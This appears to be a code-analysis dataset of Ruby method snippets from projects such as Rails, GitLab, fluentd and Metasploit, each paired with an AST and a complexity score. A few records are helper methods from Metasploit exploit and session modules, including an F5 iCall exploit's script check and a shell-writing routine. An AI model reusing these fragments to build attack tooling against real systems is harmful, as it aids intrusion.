{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_chunk.rb","start_line":265,"raw_source":"def file_rename(file, old_path, new_path, callback=nil)\n          pos = file.pos\n          if Fluent.windows?\n            file.close\n            File.rename(old_path, new_path)\n            file = File.open(new_path, 'rb', @permission)\n          else\n            File.rename(old_path, new_path)\n            file.reopen(new_path, 'rb')\n          end\n          file.set_encoding(Encoding::ASCII_8BIT)\n          file.sync = true\n          file.binmode\n          file.pos = pos\n          callback.call(file) if callback\n        end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"file_rename\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"old_path\"]},{\"type\":\"arg\",\"children\":[\"new_path\"]},{\"type\":\"optarg\",\"children\":[\"callback\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"pos\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"windows?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"rename\",{\"type\":\"lvar\",\"children\":[\"old_path\"]},{\"type\":\"lvar\",\"children\":[\"new_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"new_path\"]},{\"type\":\"str\",\"children\":[\"rb\"]},{\"type\":\"ivar\",\"children\":[\"@permission\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"rename\",{\"type\":\"lvar\",\"children\":[\"old_path\"]},{\"type\":\"lvar\",\"children\":[\"new_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"reopen\",{\"type\":\"lvar\",\"children\":[\"new_path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"set_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ASCII_8BIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"sync=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"pos=\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},null]}]}]}","id":"54aadff7-eaaa-4aed-b989-c74b0e782231"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_icall_cmd.rb","start_line":152,"raw_source":"def script_exists?(script_name)\n    exists_xml = build_xml do |xml|\n      xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)\n    end\n    res = send_soap_request(exists_xml)\n    res && res.code == 200 && res.body =~ Regexp.new(\"/Common/#{script_name}\")\n  end","complexity_score":16.45,"ast_json":"{\"type\":\"def\",\"children\":[\"script_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exists_xml\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_xml\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scr\"]}]},\"get_list\",{\"type\":\"const\",\"children\":[null,\"SOAPENV_ENCODINGSTYLE\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_soap_request\",{\"type\":\"lvar\",\"children\":[\"exists_xml\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/Common/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_name\"]}]}]}]}]}]}]}]}","id":"ae896258-3c8e-450e-9a4c-9c733e6b57b2"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/content.rb","start_line":131,"raw_source":"def to_plain_text\n      render_attachments(with_full_attributes: false, &:to_plain_text).fragment.to_plain_text\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_plain_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_attachments\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_full_attributes\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_plain_text\"]}]}]},\"fragment\"]},\"to_plain_text\"]}]}","id":"987193d7-77a6-4287-83e0-f6411a7fc6da"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/notification_handlers.rb","start_line":60,"raw_source":"def issue_hook(payload)\n        with_logging(\"issue_hook\") do\n          OpenProject::GitlabIntegration::NotificationHandler::IssueHook.new.process(payload)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_logging\",{\"type\":\"str\",\"children\":[\"issue_hook\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"GitlabIntegration\"]},\"NotificationHandler\"]},\"IssueHook\"]},\"new\"]},\"process\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"59fd3cf8-e3b2-4a8d-93db-6bb0331eac15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/csrf_protection.rb","start_line":170,"raw_source":"def encode_token(token)\n        [token].pack(\"m0\").tr(\"+/\", \"-_\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"m0\"]}]},\"tr\",{\"type\":\"str\",\"children\":[\"+/\"]},{\"type\":\"str\",\"children\":[\"-_\"]}]}]}","id":"769b7cc6-90a1-405a-80bb-5f9d1c547bfc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/scopes/include_spent_time.rb","start_line":61,"raw_source":"def entity_join\n      visible_time_entries_cte[:entity_type].eq(\"WorkPackage\").and(\n        visible_time_entries_cte[:entity_id].eq(wp_descendants[:id])\n      )\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"entity_join\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible_time_entries_cte\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity_type\"]}]},\"eq\",{\"type\":\"str\",\"children\":[\"WorkPackage\"]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible_time_entries_cte\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wp_descendants\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"08123aad-ba55-4509-b79d-88a7d5a53b68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/sub_menus/settings.rb","start_line":10,"raw_source":"def self.included(base)\n            super\n\n            base.class_eval do\n              include QA::Page::SubMenus::Settings\n            end\n          end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Page\"]},\"SubMenus\"]},\"Settings\"]}]}]}]}]}","id":"a4ff9f9f-a4c0-4771-abae-61717eb8c298"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/milestone_spec.rb","start_line":500,"raw_source":"def milestone_ids(legacy_filtering_logic: false)\n      described_class.started(legacy_filtering_logic: legacy_filtering_logic).map(&:id)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"legacy_filtering_logic\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"started\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"legacy_filtering_logic\"]},{\"type\":\"lvar\",\"children\":[\"legacy_filtering_logic\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"e5580b2d-b9ef-4308-a1dc-c04d8ca2d5f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/hardware/zigbee/utils.rb","start_line":100,"raw_source":"def recv(device)\n    return {} unless is_zigbee_hwbridge_session?\n    device = client.zigbee.target_device unless device\n    return {} unless verify_device(device)\n    client.zigbee.recv(device)\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"recv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_zigbee_hwbridge_session?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device\"]},null,{\"type\":\"lvasgn\",\"children\":[\"device\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"zigbee\"]},\"target_device\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_device\",{\"type\":\"lvar\",\"children\":[\"device\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"zigbee\"]},\"recv\",{\"type\":\"lvar\",\"children\":[\"device\"]}]}]}]}","id":"78272606-4db3-4eb8-8bc4-f5d8faacbb82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/members/invite_declined_mailer_preview.rb","start_line":5,"raw_source":"def email\n      Members::InviteDeclinedMailer.with(member: member).email.message # rubocop:disable CodeReuse/ActiveRecord -- false positive\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"InviteDeclinedMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"send\",\"children\":[null,\"member\"]}]}]}]},\"email\"]},\"message\"]}]}","id":"2b3cbea4-e10e-448a-be8b-429a0fe93266"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/engine_test.rb","start_line":17,"raw_source":"def test_application_can_be_subclassed\n    klass = Class.new(Rails::Application) do\n      attr_reader :hello\n      def initialize\n        @hello = \"world\"\n        super\n      end\n    end\n    assert_equal \"world\", klass.instance.hello\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_application_can_be_subclassed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Application\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_reader\",{\"type\":\"sym\",\"children\":[\"hello\"]}]},{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hello\",{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"world\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"instance\"]},\"hello\"]}]}]}]}","id":"5c876c96-4ebe-429e-8d9c-26196c4c8973"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20251016010314_swap_columns_for_merge_requests_bigint_conversion_stage_one.rb","start_line":33,"raw_source":"def up\n    return if skip_migration_as_bigint_columns_non_exist || skip_migration_as_bigint_columns_type_non_match('bigint')\n\n    swap\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_migration_as_bigint_columns_non_exist\"]},{\"type\":\"send\",\"children\":[null,\"skip_migration_as_bigint_columns_type_non_match\",{\"type\":\"str\",\"children\":[\"bigint\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"swap\"]}]}]}","id":"1f1b8e79-4994-4b17-b120-1a63796d86f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/path_traversal.rb","start_line":35,"raw_source":"def path_traversal?(decoded_path, match_new_line: true)\n      return false unless decoded_path\n\n      regex = if match_new_line\n                PATH_TRAVERSAL_REGEX_WITH_NEWLINE\n              else\n                PATH_TRAVERSAL_REGEX\n              end\n\n      decoded_path.match?(regex)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"path_traversal?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"decoded_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"match_new_line\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_path\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_new_line\"]},{\"type\":\"const\",\"children\":[null,\"PATH_TRAVERSAL_REGEX_WITH_NEWLINE\"]},{\"type\":\"const\",\"children\":[null,\"PATH_TRAVERSAL_REGEX\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_path\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]}]}]}","id":"cd3522dd-416d-40b6-a655-93e0c095c016"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/tags/destroy_service.rb","start_line":54,"raw_source":"def unlock_artifacts(tag_name)\n      Ci::RefDeleteUnlockArtifactsWorker.perform_async(project.id, current_user.id, \"#{::Gitlab::Git::TAG_REF_PREFIX}#{tag_name}\")\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unlock_artifacts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"RefDeleteUnlockArtifactsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Git\"]},\"TAG_REF_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]}]}","id":"a02d7a66-7735-4898-b419-0fcdc7dee461"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20160525192526_create_answers.rb","start_line":2,"raw_source":"def change\n    create_table :answers do |t|\n      t.integer  :question_id\n      t.integer  :user_id\n      t.string :slug\n      t.text  :body_markdown\n      t.text :body_html\n      t.text :body_plain_text\n      t.integer :score\n      t.timestamps null: false\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"answers\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"question_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"body_markdown\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"body_html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"body_plain_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"score\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"d5c847d1-02f0-493b-b51c-851e22ddb323"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":425,"raw_source":"def subtree_count(*args)\n    subtree_rels(*args).size\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subtree_count\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subtree_rels\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"size\"]}]}","id":"fb1ff862-cbdd-48e3-bd72-6b842cba2bd8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/archived_mixin.rb","start_line":17,"raw_source":"def active?\n    deleted_on.nil?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"active?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted_on\"]},\"nil?\"]}]}","id":"3d8efe31-5f95-4633-b865-ecd8c44bdc0b"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":1525,"raw_source":"def extend(mod, *filters)\n        define_mixed_in_module(mod, filters, @extend_modules, :extend) do |group|\n          safe_extend(mod, group)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extend\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"restarg\",\"children\":[\"filters\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_mixed_in_module\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"filters\"]},{\"type\":\"ivar\",\"children\":[\"@extend_modules\"]},{\"type\":\"sym\",\"children\":[\"extend\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_extend\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}","id":"83fc1664-69dc-4c62-b114-88a02337b4a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/services.rb","start_line":140,"raw_source":"def close_service_handle(handle)\n          if handle\n            advapi32.CloseServiceHandle(handle)\n          end\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"close_service_handle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handle\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"advapi32\"]},\"CloseServiceHandle\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]},null]}]}","id":"95c12dbd-51ea-420c-a4da-9bbd7f3355e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell.rb","start_line":684,"raw_source":"def shell_write(buf)\n    return unless buf\n\n    begin\n      rlog(buf, self.log_source) if self.log_source\n      framework.events.on_session_command(self, buf.strip)\n      rstream.write(buf)\n    rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e\n      #print_error(\"Socket error: #{e.class}: #{e}\")\n      shell_close\n      raise e\n    end\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_source\"]},{\"type\":\"send\",\"children\":[null,\"rlog\",{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_source\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"on_session_command\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rstream\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"SocketError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IOError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell_close\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}]}","id":"ac72c28f-408b-48ad-b66e-4e26bc4dad11"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/encryption/helper.rb","start_line":88,"raw_source":"def assert_invalid_key_cant_read_attribute_with_default_key_provider(model, attribute_name)\n        model.reload\n\n        ActiveRecord::Encryption.with_encryption_context key_provider: ActiveRecord::Encryption::DerivedSecretKeyProvider.new(\"a different 256 bits key for now\") do\n          assert_raises ActiveRecord::Encryption::Errors::Decryption do\n            model.public_send(attribute_name)\n          end\n        end\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_invalid_key_cant_read_attribute_with_default_key_provider\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"reload\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"with_encryption_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"DerivedSecretKeyProvider\"]},\"new\",{\"type\":\"str\",\"children\":[\"a different 256 bits key for now\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"Errors\"]},\"Decryption\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]}]}]}]}","id":"c7e573ef-cf88-4ccf-b7c7-1d94485bc192"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/web_hook_flag_serializer.rb","start_line":26,"raw_source":"def include_resolved_at?\n    resolved_at.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_resolved_at?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolved_at\"]},\"present?\"]}]}","id":"e7aae651-8e12-4302-b8c9-90c95ba30779"}
